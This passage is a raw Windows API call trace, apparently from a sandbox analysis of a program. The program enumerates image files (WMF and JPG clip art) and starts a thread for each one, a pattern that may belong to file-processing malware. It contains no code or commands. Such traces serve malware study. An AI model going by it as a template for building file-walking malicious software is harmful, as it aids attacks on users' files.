	[0242.436] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1
	[0242.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f14
	[0242.438] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.439] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1
	[0242.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.440] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f18
	[0242.441] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.442] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1
	[0242.442] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f1c
	[0242.445] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.446] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1
	[0242.446] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f20
	[0242.448] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.449] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1
	[0242.449] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f24
	[0242.451] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.452] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309480.JPG", cAlternateFileName="")) returned 1
	[0242.452] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.452] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f28
	[0242.454] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.454] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309567.JPG", cAlternateFileName="")) returned 1
	[0242.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f2c
	[0242.482] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.483] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9a8b, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309585.JPG", cAlternateFileName="")) returned 1
	[0242.483] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f30
	[0242.484] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.485] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x81f0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309598.JPG", cAlternateFileName="")) returned 1
	[0242.485] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f34
	[0242.487] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.488] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaabb, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309664.JPG", cAlternateFileName="")) returned 1
	[0242.488] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.489] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f38
	[0242.490] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.491] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1
	[0242.491] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.491] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f3c
	[0242.493] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.493] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1
	[0242.493] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.494] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f40
	[0242.496] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.497] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1
	[0242.497] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.497] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f44
	[0242.498] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.499] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1
	[0242.499] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f48
	[0242.502] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.502] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1
	[0242.502] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.503] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4c
	[0242.504] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.505] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x717bb700, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x717bb700, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xa75a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0313965.JPG", cAlternateFileName="")) returned 1
	[0242.505] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f50
	[0242.508] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.508] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x527d2500, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x527d2500, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x81ab, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0313970.JPG", cAlternateFileName="")) returned 1
	[0242.508] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.509] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f54
	[0242.511] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.511] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d07fb00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d07fb00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0xb9d1, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0313974.JPG", cAlternateFileName="")) returned 1
	[0242.512] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.512] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f58
	[0242.513] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.514] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2feb0c00, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2feb0c00, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x40f2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0314068.JPG", cAlternateFileName="")) returned 1
	[0242.514] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f5c
	[0242.554] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.555] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1
	[0242.555] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.556] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f60
	[0242.557] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.558] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1
	[0242.558] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.559] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f64
	[0242.561] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.562] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1
	[0242.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f68
	[0242.564] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.565] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2dfa, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0318804.WMF", cAlternateFileName="")) returned 1
	[0242.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f6c
	[0242.567] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.567] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28be, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0318810.WMF", cAlternateFileName="")) returned 1
	[0242.567] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f70
	[0242.569] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.570] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x24d7, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0321179.JPG", cAlternateFileName="")) returned 1
	[0242.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f74
	[0242.572] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.572] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ff8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0324694.WMF", cAlternateFileName="")) returned 1
	[0242.572] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f78
	[0242.574] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.575] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0324704.WMF", cAlternateFileName="")) returned 1
	[0242.575] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f7c
	[0242.577] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
